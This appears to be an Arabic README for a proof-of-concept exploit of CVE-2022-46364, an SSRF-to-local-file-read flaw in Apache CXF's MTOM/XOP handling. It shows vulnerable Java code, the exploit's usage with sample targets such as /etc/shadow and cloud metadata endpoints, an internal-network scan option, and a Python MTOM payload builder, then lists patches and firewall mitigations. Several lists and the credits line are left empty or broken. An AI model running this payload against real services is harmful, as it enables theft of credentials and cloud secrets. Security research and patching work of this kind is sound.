
تسمح هذه الثغرة الأمنية للمهاجم بتنفيذ هجمات SSRF (تزوير الطلبات من جانب الخادم) على خدمات ويب Apache CXF التي تقبل طلبات MTOM/XOP. تكمن المشكلة في طريقة تحليل السمة href لعنصر xop:Include، مما يسمح للخادم بطلب عناوين URL عشوائية.
هذه الأداة مخصصة للاختبارات الأمنية التعليمية والمصرح بها فقط
تم توفير هذا الاستغلال كإثبات للمفهوم للأغراض التعليمية لمساعدة المتخصصين في الأمن على فهم الثغرة وحماية أنظمتهم. الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني. لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة. يجب عليك الحصول على إذن كتابي صريح من مالك النظام قبل الاختبار. باستخدامك لهذه الأداة، فإنك توافق على الامتثال لجميع القوانين المعمول بها.
| السمة | القيمة |
|---|---|
| معرف CVE | CVE-2022-46364 |
| معرف GHSA | GHSA-x3x3-qwjq-8gj4 |
| نوع الثغرة | تزوير الطلبات من جانب الخادم (SSRF) → تضمين الملفات المحلية (LFI) |
| البرامج المتأثرة | Apache CXF < 3.5.5, Apache CXF < 3.4.10 |
| الخطورة | حرجة |
| درجة CVSS | 9.8 (حرجة) |
| متجه الهجوم | الشبكة |
| المصادقة | غير مطلوبة |
| إصدارات التصحيح | Apache CXF 3.5.5+, 3.4.10+ |
يستغل هذا الاستغلال ثغرة SSRF حرجة في تنفيذ MTOM (آلية تحسين نقل الرسائل) في Apache CXF لتحقيق تضمين الملفات المحلية (LFI) وإمكانيات فحص الشبكة الداخلية.
يقوم Apache CXF بالتحقق بشكل غير صحيح من سمة href داخل عناصر xop:Include عند معالجة رسائل SOAP المشفرة بـ MTOM. تستخدم المكتبة URLConnection الخاصة بـ Java لفك مرجع URI بدون قيود بروتوكول مناسبة، مما يسمح للمهاجمين بتحديد:
file:// - قراءة الملفات المحلية (LFI)http:// / https:// - طلبات الشبكة الداخلية (SSRF)ftp:// - طلبات FTP (قد تؤدي إلى استغلال إضافي)هذه الثغرة خطيرة بشكل خاص للأسباب التالية:
أي نشر لـ Apache CXF يستوفي الشروط التالية:
MTOM (آلية تحسين نقل الرسائل) هو معيار من W3C لتحسين نقل البيانات الثنائية في رسائل SOAP. يستخدم XOP (التغليف المحسّن للبيانات الثنائية في XML) لتضمين مراجع البيانات الثنائية:
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<myData>
<xop:Include href="cid:[email protected]"
xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
</myData>
</soap:Body>
</soap:Envelope>
عادةً، يحتوي href على مرجع CID (معرف المحتوى) إلى جزء MIME. ومع ذلك، تعالج فئة AttachmentUtil في Apache CXF قيم href كعناوين URI عامة دون تطهير مناسب.
تحليل الطلب:
Content-Type: application/xop+xmlAttachmentUtil.getAttachmentObject() عناصر xop:Includeفك مرجع URI:
new URL(href).openStream() مباشرةfile://تضمين الاستجابة:
// Simplified representation of vulnerable code in CXF < 3.5.5
public DataHandler getAttachmentObject(String href) {
URL url = new URL(href); // No protocol validation!
return new DataHandler(url.openStream());
}
يتبع بروتوكول file:// نفس مسار الكود:
file:///etc/passwd → يقوم Java بفتح /etc/passwd كتدفق ملفاتمن خلال التكرار عبر عناوين IP والمنافذ، يمكن للمهاجمين:
usage: exploit.py [-h] -t TARGET [-e ENDPOINT] [-u URL] [-f FILE] [-s SCAN]
CVE-2022-46364 Apache CXF SSRF to LFI Exploit - Educational Purpose Only
options:
-h, --help Show this help message and exit
-t TARGET, --target TARGET
Target base URL (e.g., http://192.168.1.100:8080)
-e ENDPOINT, --endpoint ENDPOINT
Web service endpoint path (default: /services/Service)
-u URL, --url URL External URL for SSRF (e.g., http://169.254.169.254/latest/meta-data/)
-f FILE, --file FILE Local file path for LFI (e.g., /etc/passwd, C:\\Windows\\win.ini)
-s SCAN, --scan SCAN Scan internal network range in CIDR notation (e.g., 192.168.1.0/24)
| الوسيط | الوصف | المثال |
|---|---|---|
-t, --target | مطلوب. عنوان URL الأساسي لخدمة Apache CXF الهدف | http://10.10.10.50:8080 |
-e, --endpoint | اختياري. مسار نقطة نهاية SOAP | /services/UserManagement |
-u, --url | عنوان URL بنمط HTTP/HTTPS للجلب عبر SSRF | http://169.254.169.254/latest/user-data |
-f, --file | مسار ملف محلي للقراءة عبر LFI | /etc/shadow, C:\ProgramData\secret.txt |
# Python 3.6 or higher required
python --version
# Clone the repository
git clone https://github.com/cybermaksxx/CVE-2022-46364-Proof-of-the-concept
cd CVE-2022-46364-PoC
### requirements
requests>=2.28.0 urllib3>=1.26.0
---
### تفاصيل التنفيذ الأساسية
#### 1. بناء حمولة MTOM
```python
def create_mtom_payload(uri):
"""Create a multipart/related MTOM message with xop:Include"""
soap_part = f"""--MIME_BOUNDARY
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<vulnerableParam>
<xop:Include href="{uri}"
xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
</vulnerableParam>
</soap:Body>
</soap:Envelope>
--MIME_BOUNDARY--"""
return soap_part
قم بالترقية إلى إصدار مصحح:
<!-- For Maven projects -->
<dependency>
<groupId>org.apache.cxf</groupId>
<artifactId>cxf-rt-frontend-jaxws</artifactId>
<version>3.5.5</version> <!-- or 3.4.10 for legacy -->
</dependency>
تعطيل MTOM كليًا (إذا لم يكن مطلوبًا):
<jaxws:endpoint ...>
<jaxws:properties>
<entry key="mtom-enabled" value="false"/>
</jaxws:properties>
</jaxws:endpoint>
ضوابط على مستوى الشبكة:
قواعد جدار حماية تطبيقات الويب (WAF):
xop:Include مع href يشير إلى file:// أو عناوين IP داخليةتم اكتشاف هذه الثغرة والإفصاح عنها بمسؤولية بواسطة: